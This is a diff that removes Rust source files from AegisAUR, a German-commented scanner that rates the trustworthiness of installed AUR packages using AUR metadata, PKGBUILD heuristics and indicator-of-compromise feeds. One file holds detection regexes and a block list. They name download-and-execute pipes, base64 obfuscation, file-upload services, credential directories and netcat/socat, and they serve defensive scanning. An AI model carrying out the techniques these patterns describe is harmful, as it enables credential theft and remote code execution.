||||||
|
|
||||||
let whitelist_path = cache_dir.join("whitelist.json");
|
|
||||||
let whitelist = if whitelist_path.exists() {
|
|
||||||
let content = fs::read_to_string(&whitelist_path).await?;
|
|
||||||
serde_json::from_str(&content).unwrap_or_default()
|
|
||||||
} else {
|
|
||||||
HashSet::new()
|
|
||||||
};
|
|
||||||
|
|
||||||
Ok(PackageScanner {
|
|
||||||
config,
|
|
||||||
ioc_fetcher,
|
|
||||||
trust_scorer,
|
|
||||||
cache_dir,
|
|
||||||
whitelist,
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn clone_for_parallel(&self) -> Self {
|
|
||||||
// Für parallele Verarbeitung teilen wir den Cache
|
|
||||||
PackageScanner {
|
|
||||||
config: self.config.clone(),
|
|
||||||
ioc_fetcher: self.ioc_fetcher.clone(),
|
|
||||||
trust_scorer: TrustScorer::new().expect("TrustScorer init"),
|
|
||||||
cache_dir: self.cache_dir.clone(),
|
|
||||||
whitelist: self.whitelist.clone(),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
pub async fn scan_package(
|
|
||||||
&self,
|
|
||||||
package: &str,
|
|
||||||
verbose: bool,
|
|
||||||
) -> Result<ScanResult> {
|
|
||||||
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
|
|
||||||
self.scan_package_with_iocs(package, verbose, &iocs).await
|
|
||||||
}
|
|
||||||
|
|
||||||
pub async fn scan_package_with_iocs(
|
|
||||||
&self,
|
|
||||||
package: &str,
|
|
||||||
verbose: bool,
|
|
||||||
iocs: &[IocEntry],
|
|
||||||
) -> Result<ScanResult> {
|
|
||||||
info!("Scanne Paket: {}", package);
|
|
||||||
|
|
||||||
// Prüfe ob Paket in offiziellem Repo oder AUR
|
|
||||||
let is_aur = self.is_aur_package(package).await;
|
|
||||||
|
|
||||||
let ioc_matches = if is_aur {
|
|
||||||
// Nur für AUR-Pakete IOCs prüfen
|
|
||||||
self.ioc_fetcher.check_package(package, iocs)
|
|
||||||
} else {
|
|
||||||
// Für offizielle Repo-Pakete: keine IOC-Warnungen
|
|
||||||
vec![]
|
|
||||||
};
|
|
||||||
|
|
||||||
let aur_info = if is_aur {
|
|
||||||
self.fetch_aur_info(package).await?
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
};
|
|
||||||
|
|
||||||
// PKGBUILD-Analyse nur bei verbose oder wenn IOC-Match vorliegt
|
|
||||||
let needs_pkgbuild = verbose || !ioc_matches.is_empty();
|
|
||||||
|
|
||||||
let pkgbuild_analysis = if needs_pkgbuild {
|
|
||||||
if let Some(ref info) = aur_info {
|
|
||||||
if let Some(url) = &info.url_path {
|
|
||||||
match self.fetch_pkgbuild(package, url).await {
|
|
||||||
Ok(content) => {
|
|
||||||
let score = self.trust_scorer.analyze_pkgbuild(
|
|
||||||
&content,
|
|
||||||
info.url.as_deref(),
|
|
||||||
);
|
|
||||||
Some((score, Some(content)))
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
warn!("Konnte PKGBUILD nicht holen: {}", e);
|
|
||||||
None
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
None
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut result = if let Some((score, pkgbuild_raw)) = pkgbuild_analysis {
|
|
||||||
let mut warnings: Vec<String> = score.warnings.into_iter().collect();
|
|
||||||
let critical_findings: Vec<String> = score
|
|
||||||
.critical_findings
|
|
||||||
.into_iter()
|
|
||||||
.map(|c| format!("{:?}", c))
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let ioc_strings: Vec<String> = ioc_matches
|
|
||||||
.iter()
|
|
||||||
.map(|ioc| format!("{}: {} ({})", ioc.threat_type, ioc.description, ioc.confidence))
|
|
||||||
.collect();
|
|
||||||
warnings.extend(ioc_strings.clone());
|
|
||||||
|
|
||||||
let status = Self::calculate_status(score.overall, !ioc_matches.is_empty(), !critical_findings.is_empty());
|
|
||||||
|
|
||||||
ScanResult {
|
|
||||||
package: package.to_string(),
|
|
||||||
version: aur_info.as_ref().and_then(|i| Some(i.version.clone())).unwrap_or_default(),
|
|
||||||
score: score.overall,
|
|
||||||
max_score: 100,
|
|
||||||
status,
|
|
||||||
warnings,
|
|
||||||
critical_findings,
|
|
||||||
ioc_matches: ioc_strings,
|
|
||||||
details: Some(ScanDetails {
|
|
||||||
source_url: aur_info.as_ref().and_then(|i| i.url.clone()),
|
|
||||||
maintainer: aur_info.as_ref().and_then(|i| i.maintainer.clone()),
|
|
||||||
votes: aur_info.as_ref().and_then(|i| Some(i.num_votes)),
|
|
||||||
popularity: aur_info.as_ref().and_then(|i| Some(i.popularity)),
|
|
||||||
last_modified: None,
|
|
||||||
out_of_date: aur_info.as_ref().map(|i| i.out_of_date.is_some()).unwrap_or(false),
|
|
||||||
is_orphaned: aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true),
|
|
||||||
pkgbuild_raw: if verbose { pkgbuild_raw } else { None },
|
|
||||||
}),
|
|
||||||
}
|
|
||||||
} else if is_aur {
|
|
||||||
// AUR-Paket ohne PKGBUILD-Analyse: Score aus AUR-Info
|
|
||||||
let aur_score = Self::calculate_aur_score_from_info(aur_info.as_ref());
|
|
||||||
let ioc_strings: Vec<String> = ioc_matches
|
|
||||||
.iter()
|
|
||||||
.map(|ioc| format!("{}: {} ({})", ioc.threat_type, ioc.description, ioc.confidence))
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
let status = Self::calculate_status(aur_score, !ioc_matches.is_empty(), false);
|
|
||||||
let mut warnings = ioc_strings.clone();
|
|
||||||
|
|
||||||
if aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true) {
|
|
||||||
warnings.push("⚠️ Orphaned Paket — kein aktiver Maintainer".to_string());
|
|
||||||
}
|
|
||||||
|
|
||||||
ScanResult {
|
|
||||||
package: package.to_string(),
|
|
||||||
version: aur_info.as_ref().and_then(|i| Some(i.version.clone())).unwrap_or_default(),
|
|
||||||
score: aur_score,
|
|
||||||
max_score: 100,
|
|
||||||
status,
|
|
||||||
warnings,
|
|
||||||
critical_findings: vec![],
|
|
||||||
ioc_matches: ioc_strings,
|
|
||||||
details: Some(ScanDetails {
|
|
||||||
source_url: aur_info.as_ref().and_then(|i| i.url.clone()),
|
|
||||||
maintainer: aur_info.as_ref().and_then(|i| i.maintainer.clone()),
|
|
||||||
votes: aur_info.as_ref().and_then(|i| Some(i.num_votes)),
|
|
||||||
popularity: aur_info.as_ref().and_then(|i| Some(i.popularity)),
|
|
||||||
last_modified: None,
|
|
||||||
out_of_date: aur_info.as_ref().map(|i| i.out_of_date.is_some()).unwrap_or(false),
|
|
||||||
is_orphaned: aur_info.as_ref().and_then(|i| i.maintainer.as_ref()).map(|m| m == "orphan").unwrap_or(true),
|
|
||||||
pkgbuild_raw: None,
|
|
||||||
}),
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
let installed_info = self.get_installed_info(package).await?;
|
|
||||||
let score = self.trust_scorer.check_installed_package(&installed_info);
|
|
||||||
|
|
||||||
let ioc_strings: Vec<String> = ioc_matches
|
|
||||||
.iter()
|
|
||||||
.map(|ioc| format!("{}: {}", ioc.threat_type, ioc.description))
|
|
||||||
.collect();
|
|
||||||
|
|
||||||
ScanResult {
|
|
||||||
package: package.to_string(),
|
|
||||||
version: self.extract_version(&installed_info).unwrap_or_default(),
|
|
||||||
score: score.overall,
|
|
||||||
max_score: 100,
|
|
||||||
status: Self::calculate_status(score.overall, !ioc_matches.is_empty(), false),
|
|
||||||
warnings: score.warnings.into_iter().chain(ioc_strings.clone()).collect(),
|
|
||||||
critical_findings: vec![],
|
|
||||||
ioc_matches: ioc_strings,
|
|
||||||
details: None,
|
|
||||||
}
|
|
||||||
};
|
|
||||||
|
|
||||||
Ok(result)
|
|
||||||
}
|
|
||||||
|
|
||||||
pub async fn scan_all_installed(
|
|
||||||
&self,
|
|
||||||
verbose: bool,
|
|
||||||
) -> Result<Vec<ScanResult>> {
|
|
||||||
info!("Scanne alle installierten AUR-Pakete...");
|
|
||||||
|
|
||||||
let foreign_packages = self.get_foreign_packages().await?;
|
|
||||||
let mut results = Vec::with_capacity(foreign_packages.len());
|
|
||||||
|
|
||||||
// SEQUENZIELLE SCANS mit gecachten IOCs und Rate-Limiting
|
|
||||||
// (Parallele Scans würden Rate-Limits bei AUR RPC triggern)
|
|
||||||
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
|
|
||||||
let ioc_count = iocs.len();
|
|
||||||
info!("{} IOCs geladen, starte Scan von {} Paketen...", ioc_count, foreign_packages.len());
|
|
||||||
|
|
||||||
let mut consecutive_errors = 0;
|
|
||||||
let max_consecutive_errors = 5;
|
|
||||||
|
|
||||||
for (idx, (pkg, _)) in foreign_packages.iter().enumerate() {
|
|
||||||
if idx % 10 == 0 {
|
|
||||||
println!(" [{}/{}] Scanne {}...", idx + 1, foreign_packages.len(), pkg);
|
|
||||||
}
|
|
||||||
|
|
||||||
match self.scan_package_with_iocs(pkg, verbose, &iocs).await {
|
|
||||||
Ok(result) => {
|
|
||||||
results.push(result);
|
|
||||||
consecutive_errors = 0; // Reset bei Erfolg
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
warn!("Fehler beim Scannen von {}: {}", pkg, e);
|
|
||||||
consecutive_errors += 1;
|
|
||||||
|
|
||||||
if consecutive_errors >= max_consecutive_errors {
|
|
||||||
warn!("Zu viele aufeinanderfolgende Fehler — Rate-Limiting vermutet. Pause...");
|
|
||||||
tokio::time::sleep(tokio::time::Duration::from_secs(5)).await;
|
|
||||||
consecutive_errors = 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
results.push(ScanResult {
|
|
||||||
package: pkg.clone(),
|
|
||||||
version: String::new(),
|
|
||||||
score: 0,
|
|
||||||
max_score: 100,
|
|
||||||
status: ScanStatus::Unknown,
|
|
||||||
warnings: vec![format!("Scan fehlgeschlagen: {}", e)],
|
|
||||||
critical_findings: vec![],
|
|
||||||
ioc_matches: vec![],
|
|
||||||
details: None,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// Kleines Delay zwischen Paketen um Rate-Limiting zu vermeiden
|
|
||||||
if idx % 5 == 4 {
|
|
||||||
tokio::time::sleep(tokio::time::Duration::from_millis(200)).await;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
results.sort_by(|a, b| a.score.cmp(&b.score));
|
|
||||||
|
|
||||||
Ok(results)
|
|
||||||
}
|
|
||||||
|
|
||||||
pub async fn check_iocs(
|
|
||||||
&self, _list_type: &str
|
|
||||||
) -> Result<Vec<IocThreat>> {
|
|
||||||
let iocs = self.ioc_fetcher.get_cached_iocs().await?;
|
|
||||||
let foreign_packages = self.get_foreign_packages().await?;
|
|
||||||
|
|
||||||
let mut threats = Vec::new();
|
|
||||||
|
|
||||||
for (pkg, _) in foreign_packages {
|
|
||||||
let matches = self.ioc_fetcher.check_package(&pkg, &iocs);
|
|
||||||
|
|
||||||
for ioc in matches {
|
|
||||||
threats.push(IocThreat {
|
|
||||||
package: pkg.clone(),
|
|
||||||
threat_type: format!("{}", ioc.threat_type),
|
|
||||||
source: ioc.source,
|
|
||||||
confidence: format!("{}", ioc.confidence),
|
|
||||||
action_required: matches!(ioc.confidence, crate::ioc_fetcher::ConfidenceLevel::Critical | crate::ioc_fetcher::ConfidenceLevel::High),
|
|
||||||
});
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(threats)
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn allow_package(&mut self, package: &str) -> Result<()> {
|
|
||||||
self.whitelist.insert(package.to_string());
|
|
||||||
self.save_whitelist()?;
|
|
||||||
info!("{} zur Whitelist hinzugefügt", package);
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn deny_package(&mut self, package: &str) -> Result<()> {
|
|
||||||
self.whitelist.remove(package);
|
|
||||||
self.save_whitelist()?;
|
|
||||||
info!("{} von Whitelist entfernt", package);
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn config_path(&self) -> Result<PathBuf> {
|
|
||||||
Ok(self.config.config_path.clone())
|
|
||||||
}
|
|
||||||
|
|
||||||
pub fn cache_path(&self) -> Result<PathBuf> {
|
|
||||||
Ok(self.cache_dir.clone())
|
|
||||||
}
|
|
||||||
|
|
||||||
pub async fn show_cache_status(&self) -> Result<()> {
|
|
||||||
println!("{}", "=== AegisAUR Cache Status ===".cyan().bold());
|
|
||||||
|
|
||||||
let ioc_count = self.ioc_fetcher.get_cached_iocs().await?.len();
|
|
||||||
println!("IOC-Einträge im Cache: {}", ioc_count);
|
|
||||||
|
|
||||||
let cache_size = self.calculate_cache_size().await?;
|
|
||||||
println!("Cache-Größe: {:.2} MB", cache_size as f64 / 1024.0 / 1024.0);
|
|
||||||
|
|
||||||
println!("Whitelist-Einträge: {}", self.whitelist.len());
|
|
||||||
|
|
||||||
let last_update = self.get_last_cache_update().await?;
|
|
||||||
println!("Letzte Aktualisierung: {}", last_update.unwrap_or_else(|| "Unbekannt".to_string()));
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Prüft ob ein Paket aus dem AUR stammt (nicht offizielles Repo)
|
|
||||||
/// CACHE: Wir rufen pacman -Qm EINMAL auf und cachen alle foreign Pakete
|
|
||||||
async fn is_aur_package(&self, package: &str) -> bool {
|
|
||||||
// Statischer Cache für alle foreign Pakete (einmal pro scan-all Aufruf)
|
|
||||||
use std::sync::OnceLock;
|
|
||||||
static FOREIGN_CACHE: OnceLock<Vec<String>> = OnceLock::new();
|
|
||||||
|
|
||||||
let foreign_packages = FOREIGN_CACHE.get_or_init(|| {
|
|
||||||
// Synchrone Initialisierung (nur einmal)
|
|
||||||
let output = std::process::Command::new("pacman")
|
|
||||||
.args(["-Qm"])
|
|
||||||
.output()
|
|
||||||
.expect("pacman -Qm fehlgeschlagen");
|
|
||||||
|
|
||||||
let stdout = String::from_utf8_lossy(&output.stdout);
|
|
||||||
stdout.lines()
|
|
||||||
.map(|line| line.split_whitespace().next().unwrap_or("").to_string())
|
|
||||||
.filter(|s| !s.is_empty())
|
|
||||||
.collect()
|
|
||||||
});
|
|
||||||
|
|
||||||
foreign_packages.iter().any(|fpkg| fpkg == package)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn fetch_aur_info(
|
|
||||||
&self, package: &str
|
|
||||||
) -> Result<Option<AurPackageInfo>> {
|
|
||||||
let url = format!(
|
|
||||||
"https://aur.archlinux.org/rpc/v5/info?arg[]={}",
|
|
||||||
package
|
|
||||||
);
|
|
||||||
|
|
||||||
let mut retries = 0;
|
|
||||||
let max_retries = 3;
|
|
||||||
let mut last_error = None;
|
|
||||||
|
|
||||||
while retries < max_retries {
|
|
||||||
match reqwest::get(&url).await {
|
|
||||||
Ok(response) => {
|
|
||||||
if response.status().is_success() {
|
|
||||||
match response.json::<AurRpcResponse>().await {
|
|
||||||
Ok(rpc_response) => {
|
|
||||||
if rpc_response.resultcount == 0 || rpc_response.results.is_empty() {
|
|
||||||
return Ok(None);
|
|
||||||
}
|
|
||||||
return Ok(Some(rpc_response.results[0].clone()));
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
last_error = Some(format!("JSON parse error: {}", e));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else if response.status().as_u16() == 429 {
|
|
||||||
// Rate limited — warte und retry
|
|
||||||
let delay_ms = 1000 * (retries + 1);
|
|
||||||
warn!("Rate limited für {}, warte {}ms...", package, delay_ms);
|
|
||||||
tokio::time::sleep(tokio::time::Duration::from_millis(delay_ms)).await;
|
|
||||||
retries += 1;
|
|
||||||
continue;
|
|
||||||
} else {
|
|
||||||
last_error = Some(format!("HTTP {}", response.status()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Err(e) => {
|
|
||||||
last_error = Some(format!("Request failed: {}", e));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
retries += 1;
|
|
||||||
if retries < max_retries {
|
|
||||||
let delay_ms = 500 * retries;
|
|
||||||
debug!("Retry {} für {} nach {}ms", retries, package, delay_ms);
|
|
||||||
tokio::time::sleep(tokio::time::Duration::from_millis(delay_ms)).await;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
warn!("AUR RPC für {} fehlgeschlagen nach {} retries: {}", package, max_retries, last_error.unwrap_or_default());
|
|
||||||
Ok(None) // Nicht hard-fail, sondern None zurückgeben
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn fetch_pkgbuild(
|
|
||||||
&self, package: &str, _url_path: &str
|
|
||||||
) -> Result<String> {
|
|
||||||
let pkgbuild_url = format!(
|
|
||||||
"https://aur.archlinux.org/cgit/aur.git/plain/PKGBUILD?h={}",
|
|
||||||
package
|
|
||||||
);
|
|
||||||
|
|
||||||
let response = reqwest::get(&pkgbuild_url).await?;
|
|
||||||
if !response.status().is_success() {
|
|
||||||
anyhow::bail!("Konnte PKGBUILD nicht laden: HTTP {}", response.status());
|
|
||||||
}
|
|
||||||
|
|
||||||
response.text().await.context("Konnte PKGBUILD nicht lesen")
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn get_foreign_packages(&self
|
|
||||||
) -> Result<Vec<(String, String)>> {
|
|
||||||
let output = Command::new("pacman")
|
|
||||||
.args(["-Qm"])
|
|
||||||
.output()
|
|
||||||
.await
|
|
||||||
.context("Konnte pacman nicht ausführen")?;
|
|
||||||
|
|
||||||
if !output.status.success() {
|
|
||||||
anyhow::bail!("pacman -Qm fehlgeschlagen");
|
|
||||||
}
|
|
||||||
|
|
||||||
let stdout = String::from_utf8(output.stdout)?;
|
|
||||||
let mut packages = Vec::new();
|
|
||||||
|
|
||||||
for line in stdout.lines() {
|
|
||||||
let parts: Vec<&str> = line.split_whitespace().collect();
|
|
||||||
if parts.len() >= 2 {
|
|
||||||
packages.push((parts[0].to_string(), parts[1].to_string()));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(packages)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn get_installed_info(&self, package: &str
|
|
||||||
) -> Result<String> {
|
|
||||||
let output = Command::new("pacman")
|
|
||||||
.args(["-Qi", package])
|
|
||||||
.output()
|
|
||||||
.await
|
|
||||||
.context("Konnte pacman nicht ausführen")?;
|
|
||||||
|
|
||||||
Ok(String::from_utf8_lossy(&output.stdout).to_string())
|
|
||||||
}
|
|
||||||
|
|
||||||
fn extract_version(&self, pacman_qi: &str) -> Option<String> {
|
|
||||||
pacman_qi
|
|
||||||
.lines()
|
|
||||||
.find(|l| l.contains("Version"))
|
|
||||||
.and_then(|l| l.split(':').nth(1))
|
|
||||||
.map(|s| s.trim().to_string())
|
|
||||||
}
|
|
||||||
|
|
||||||
fn calculate_aur_score_from_info(aur_info: Option<&AurPackageInfo>) -> u32 {
|
|
||||||
let info = match aur_info {
|
|
||||||
Some(i) => i,
|
|
||||||
None => return 50, // Keine Info = mittlerer Score
|
|
||||||
};
|
|
||||||
|
|
||||||
let mut score = 70; // Basis-Score für AUR-Pakete
|
|
||||||
|
|
||||||
// Maintainer-Status
|
|
||||||
if let Some(ref maintainer) = info.maintainer {
|
|
||||||
if maintainer == "orphan" {
|
|
||||||
score -= 20; // Orphaned = riskant
|
|
||||||
} else {
|
|
||||||
score += 10; // Aktiver Maintainer = gut
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
score -= 15; // Kein Maintainer = unbekannt
|
|
||||||
}
|
|
||||||
|
|
||||||
// Popularität
|
|
||||||
if info.popularity > 1.0 {
|
|
||||||
score += 10; // Sehr populär
|
|
||||||
} else if info.popularity > 0.1 {
|
|
||||||
score += 5; // Moderat populär
|
|
||||||
} else {
|
|
||||||
score -= 5; // Unbekannt
|
|
||||||
}
|
|
||||||
|
|
||||||
// Votes
|
|
||||||
if info.num_votes > 50 {
|
|
||||||
score += 10;
|
|
||||||
} else if info.num_votes > 10 {
|
|
||||||
score += 5;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Out of Date
|
|
||||||
if info.out_of_date.is_some() {
|
|
||||||
score -= 15; // Veraltet
|
|
||||||
}
|
|
||||||
|
|
||||||
score.clamp(0, 100)
|
|
||||||
}
|
|
||||||
|
|
||||||
fn calculate_status(score: u32, has_ioc: bool, has_critical: bool) -> ScanStatus {
|
|
||||||
if has_ioc {
|
|
||||||
return ScanStatus::IOCDetected;
|
|
||||||
}
|
|
||||||
if has_critical || score < 30 {
|
|
||||||
return ScanStatus::Dangerous;
|
|
||||||
}
|
|
||||||
if score < 50 {
|
|
||||||
return ScanStatus::Suspicious;
|
|
||||||
}
|
|
||||||
if score < 80 {
|
|
||||||
return ScanStatus::Warning;
|
|
||||||
}
|
|
||||||
ScanStatus::Safe
|
|
||||||
}
|
|
||||||
|
|
||||||
fn save_whitelist(&self
|
|
||||||
) -> Result<()> {
|
|
||||||
let whitelist_path = self.cache_dir.join("whitelist.json");
|
|
||||||
let json = serde_json::to_string_pretty(&self.whitelist)?;
|
|
||||||
std::fs::write(whitelist_path, json)?;
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn calculate_cache_size(
|
|
||||||
&self
|
|
||||||
) -> Result<u64> {
|
|
||||||
let mut total_size = 0u64;
|
|
||||||
|
|
||||||
let mut entries = fs::read_dir(&self.cache_dir).await?;
|
|
||||||
while let Some(entry) = entries.next_entry().await? {
|
|
||||||
let metadata = entry.metadata().await?;
|
|
||||||
if metadata.is_file() {
|
|
||||||
total_size += metadata.len();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
Ok(total_size)
|
|
||||||
}
|
|
||||||
|
|
||||||
async fn get_last_cache_update(
|
|
||||||
&self
|
|
||||||
) -> Result<Option<String>> {
|
|
||||||
let cache_file = self.cache_dir.join("iocs.json");
|
|
||||||
if !cache_file.exists() {
|
|
||||||
return Ok(None);
|
|
||||||
}
|
|
||||||
|
|
||||||
let metadata = fs::metadata(cache_file).await?;
|
|
||||||
let modified = metadata.modified()?;
|
|
||||||
let datetime: chrono::DateTime<chrono::Local> = modified.into();
|
|
||||||
|
|
||||||
Ok(Some(datetime.format("%Y-%m-%d %H:%M:%S").to_string()))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
impl ScanResult {
|
|
||||||
pub fn status_message(&self) -> ColoredString {
|
|
||||||
match self.status {
|
|
||||||
ScanStatus::Safe => "SICHER".green().bold(),
|
|
||||||
ScanStatus::Warning => "WARNUNG".yellow().bold(),
|
|
||||||
ScanStatus::Suspicious => "VERDÄCHTIG".bright_yellow().bold(),
|
|
||||||
ScanStatus::Dangerous => "GEFÄHRLICH!".red().bold(),
|
|
||||||
ScanStatus::IOCDetected => "IOC ERKANNT!".on_red().white().bold(),
|
|
||||||
ScanStatus::Unknown => "UNBEKANNT".white(),
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
|
||||||
pub struct IocThreat {
|
|
||||||
pub package: String,
|
|
||||||
pub threat_type: String,
|
|
||||||
pub source: String,
|
|
||||||
pub confidence: String,
|
|
||||||
pub action_required: bool,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
||||||
struct AurRpcResponse {
|
|
||||||
#[serde(rename = "resultcount")]
|
|
||||||
resultcount: u32,
|
|
||||||
results: Vec<AurPackageInfo>,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone, Serialize, Deserialize)]
|
|
||||||
struct AurPackageInfo {
|
|
||||||
#[serde(rename = "Name")]
|
|
||||||
name: String,
|
|
||||||
#[serde(rename = "Version")]
|
|
||||||
version: String,
|
|
||||||
#[serde(rename = "Description")]
|
|
||||||
description: Option<String>,
|
|
||||||
#[serde(rename = "URL")]
|
|
||||||
url: Option<String>,
|
|
||||||
#[serde(rename = "URLPath")]
|
|
||||||
url_path: Option<String>,
|
|
||||||
#[serde(rename = "Maintainer")]
|
|
||||||
maintainer: Option<String>,
|
|
||||||
#[serde(rename = "NumVotes")]
|
|
||||||
num_votes: u32,
|
|
||||||
#[serde(rename = "Popularity")]
|
|
||||||
popularity: f32,
|
|
||||||
#[serde(rename = "OutOfDate")]
|
|
||||||
out_of_date: Option<i64>,
|
|
||||||
}
|
|
||||||
@@ -1,401 +0,0 @@
|
|||||||
use anyhow::{Context, Result};
|
|
||||||
use regex::Regex;
|
|
||||||
use std::collections::HashSet;
|
|
||||||
use std::path::Path;
|
|
||||||
use tracing::{debug, trace, warn};
|
|
||||||
|
|
||||||
/// Score-Kategorien für das Trust-Rating
|
|
||||||
#[derive(Debug, Clone)]
|
|
||||||
pub struct TrustScore {
|
|
||||||
pub overall: u32, // 0-100 (100 = vertrauenswürdig)
|
|
||||||
pub categories: Vec<ScoreCategory>,
|
|
||||||
pub warnings: Vec<String>,
|
|
||||||
pub critical_findings: Vec<CriticalFinding>,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
|
||||||
pub struct ScoreCategory {
|
|
||||||
pub name: String,
|
|
||||||
pub score: u32, // 0-100
|
|
||||||
pub weight: f32,
|
|
||||||
pub description: String,
|
|
||||||
}
|
|
||||||
|
|
||||||
#[derive(Debug, Clone)]
|
|
||||||
pub enum CriticalFinding {
|
|
||||||
RemoteCodeExecution(String), // Befehl der gefunden wurde
|
|
||||||
CredentialExfiltration(String),
|
|
||||||
PersistenceMechanism(String),
|
|
||||||
ObfuscatedScript(String),
|
|
||||||
SuspiciousNetworkCall(String),
|
|
||||||
OrphanTakeover { original: String, new_maintainer: String },
|
|
||||||
}
|
|
||||||
|
|
||||||
/// Konfiguration für Heuristiken
|
|
||||||
pub struct TrustScorer {
|
|
||||||
suspicious_patterns: Vec<SuspiciousPattern>,
|
|
||||||
trusted_domains: HashSet<String>,
|
|
||||||
blocklisted_commands: Vec<Regex>,
|
|
||||||
}
|
|
||||||
|
|
||||||
struct SuspiciousPattern {
|
|
||||||
pattern: Regex,
|
|
||||||
penalty: u32,
|
|
||||||
description: String,
|
|
||||||
critical: bool,
|
|
||||||
}
|
|
||||||
|
|
||||||
impl TrustScorer {
|
|
||||||
pub fn new() -> Result<Self> {
|
|
||||||
let mut scorer = TrustScorer {
|
|
||||||
suspicious_patterns: Vec::new(),
|
|
||||||
trusted_domains: Self::default_trusted_domains(),
|
|
||||||
blocklisted_commands: Vec::new(),
|
|
||||||
};
|
|
||||||
|
|
||||||
scorer.compile_patterns()?;
|
|
||||||
Ok(scorer)
|
|
||||||
}
|
|
||||||
|
|
||||||
fn compile_patterns(&mut self) -> Result<()> {
|
|
||||||
// KRITISCHE PATTERNS (sofortiger Alarm)
|
|
||||||
let critical_patterns = vec![
|
|
||||||
// npm/bun install mit verdächtigen Paketen
|
|
||||||
(r"(?i)(npm|bun)\s+install\s+.*(atomic|lockfile|digest|js-|crypto|steal|exfil)", 100, "Verdächtiges npm/bun install", true),
|
|
||||||
// Download + Ausführen
|
|
||||||
(r"(?i)(curl|wget).*\|\s*(bash|sh|eval|exec)\b", 100, "Download und direktes Ausführen", true),
|
|
||||||
(r"(?i)(curl|wget).*\>.*\.\w+\s*;\s*chmod.*\+x", 100, "Download, speichern, executable machen", true),
|
|
||||||
// Obfuscation
|
|
||||||
(r"(?i)base64\s+-d\s*\|", 90, "Base64 Dekodierung in Pipe", true),
|
|
||||||
(r"(?i)eval\s*\$", 90, "Eval mit Variablen", true),
|
|
||||||
(r"(?i)\$\(.*\b(curl|wget|fetch)\b.*\)", 80, "Kommandosubstitution mit Download", true),
|
|
||||||
// Netzwerk-Exfiltration
|
|
||||||
(r"(?i)(temp\.sh|transfer\.sh|0x0\.st|termbin\.com)", 95, "Verdächtiger Upload-Service", true),
|
|
||||||
// System-Persistenz
|
|
||||||
(r"(?i)systemctl\s+(enable|start|restart).*\.(service|timer)", 70, "Systemd-Service Manipulation", false),
|
|
||||||
(r"(?i)mkdir\s+-p\s+/var/lib/.*\s*\&\&\s*cp", 80, "Dateien unter /var/lib ablegen", false),
|
|
||||||
// Browser/Credential-Zugriff
|
|
||||||
(r"(?i)(\.mozilla|\.config/google-chrome|\.config/chromium|\.ssh|gnupg)", 60, "Zugriff auf sensitive Verzeichnisse", false),
|
|
||||||
// eBPF
|
|
||||||
(r"(?i)bpf\(|bpf_syscall|libbpf|bcc", 85, "eBPF Code erkannt", false),
|
|
||||||
];
|
|
||||||
|
|
||||||
for (pattern, penalty, desc, critical) in critical_patterns {
|
|
||||||
let regex = Regex::new(pattern)
|
|
||||||
.with_context(|| format!("Konnte Pattern '{}' nicht kompilieren", pattern))?;
|
|
||||||
self.suspicious_patterns.push(SuspiciousPattern {
|
|
||||||
pattern: regex,
|
|
||||||
penalty,
|
|
||||||
description: desc.to_string(),
|
|
||||||
critical,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
// Blockliste von Kommandos (soweit Regex-technisch möglich)
|
|
||||||
self.blocklisted_commands = vec![
|
|
||||||
Regex::new(r"(?i)\b(nc|netcat|ncat|socat)\b").unwrap(),
|
|
||||||
Regex::new(r"(?i)\b(rev|ruby|perl|python|python3)\s+-c\b").unwrap(),
|
|
||||||
];
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
|
||||||
|
|
||||||
fn default_trusted_domains() -> HashSet<String> {
|
|
||||||
let mut domains = HashSet::new();
|
|
||||||
